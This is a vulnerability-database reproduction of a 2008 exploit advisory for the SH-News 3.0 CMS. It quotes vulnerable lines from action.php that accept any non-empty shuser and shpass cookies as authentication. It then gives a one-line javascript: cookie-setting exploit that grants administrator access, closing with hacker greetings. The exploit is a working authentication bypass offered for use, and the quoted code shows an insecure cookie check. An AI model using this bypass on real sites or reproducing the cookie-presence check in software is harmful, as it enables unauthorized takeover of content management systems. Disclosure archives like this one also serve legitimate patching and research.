SH-News 3.0 Insecure Cookie Handling Vulnerability

🗓️ 16 Jun 2008 00:00:00Reported by RootType

SH-News 3.0 Insecure Cookie Handling Vulnerability discovered by Virangar Security Team allowing unauthorized access to action.ph


                                                	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;########################################################################
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;...:::::SH-News&nbsp;3.0&nbsp;Insecure&nbsp;Cookie&nbsp;Handling&nbsp;Vulnerability&nbsp;::::....&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;########################################################################

Virangar&nbsp;Security&nbsp;Team

www.virangar.net
www.virangar.ir

--------
Discoverd&nbsp;By&nbsp;:virangar&nbsp;security&nbsp;team(hadihadi)

special&nbsp;tnx&nbsp;to:MR.nosrati,black.shadowes,MR.hesy,Zahra

&amp;&nbsp;all&nbsp;virangar&nbsp;members&nbsp;&amp;&nbsp;all&nbsp;hackerz

greetz:to&nbsp;my&nbsp;best&nbsp;friend&nbsp;in&nbsp;the&nbsp;world&nbsp;hadi_aryaie2004
&amp;&nbsp;my&nbsp;lovely&nbsp;friend&nbsp;arash(imm02tal)
-------
vuln&nbsp;code&nbsp;in&nbsp;action.php:
line&nbsp;66:&nbsp;$shuser&nbsp;=&nbsp;$HTTP_COOKIE_VARS[shuser];
line&nbsp;67:&nbsp;$shpass&nbsp;=&nbsp;$HTTP_COOKIE_VARS[shpass];
...
line&nbsp;69:&nbsp;if((!$shuser)&nbsp;||&nbsp;(!$shpass))&nbsp;{&nbsp;header(&quot;Location:&nbsp;login.php&quot;);&nbsp;}
---
exploit:
javascript:document.cookie&nbsp;=&nbsp;&quot;shuser=1;&nbsp;path=/&quot;;&nbsp;document.cookie&nbsp;=&nbsp;&quot;shpass=1;&nbsp;path=/&quot;;
-----
now&nbsp;you&nbsp;can&nbsp;access&nbsp;to&nbsp;action.php&nbsp;whit&nbsp;admin&nbsp;access&nbsp;and&nbsp;manage&nbsp;the&nbsp;cms&nbsp;;)
-------
young&nbsp;iranian&nbsp;h4ck3rz

16 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1